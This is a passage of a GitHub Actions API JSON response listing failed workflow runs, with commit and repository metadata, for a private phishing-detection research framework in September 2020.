ASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277299451,"node_id":"MDExOldvcmtmbG93UnVuMjc3Mjk5NDUx","head_branch":"vectorization","head_sha":"a749ba5eee4d15838e5469b864abf8e0fc27facd","run_number":246,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1257571800,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU3NTcxODAw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277299451","pull_requests":[],"created_at":"2020-09-28T19:59:06Z","updated_at":"2020-09-28T20:01:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1257571800","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"a749ba5eee4d15838e5469b864abf8e0fc27facd","tree_id":"bb7d9548b8ff58ddf5c2738dfbc8e08bd85e77e1","message":"Added unit test for vectorizer","timestamp":"2020-09-28T19:56:47Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277164123,"node_id":"MDExOldvcmtmbG93UnVuMjc3MTY0MTIz","head_branch":"feature_docstring","head_sha":"f81183a6f363307ce9af56140e9ea4a4dd48d469","run_number":244,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1257117087,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU3MTE3MDg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277164123","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277164123","pull_requests":[],"created_at":"2020-09-28T18:17:59Z","updated_at":"2020-09-28T18:20:20Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277164123/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277164123/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1257117087","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277164123/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277164123/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277164123/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"f81183a6f363307ce9af56140e9ea4a4dd48d469","tree_id":"d37440df90aee0304af39806ef5f91f2eaa0704a","message":"Renamed features for clarity","timestamp":"2020-09-28T17:43:59Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":267948880,"node_id":"MDExOldvcmtmbG93UnVuMjY3OTQ4ODgw","head_branch":"mode_setting","head_sha":"4147844841f374625bb1a6c3034b2ed52d6afd77","run_number":957,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1231204543,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjMxMjA0NTQz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267948880","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/267948880","pull_requests":[],"created_at":"2020-09-23T01:49:43Z","updated_at":"2020-09-23T02:01:41Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267948880/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267948880/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1231204543","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267948880/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267948880/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267948880/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4147844841f374625bb1a6c3034b2ed52d6afd77","tree_id":"fd03a237aee383ede1fe791e6d414d8072f40023","message":"Cleanup","timestamp":"2020-09-23T01:49:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://a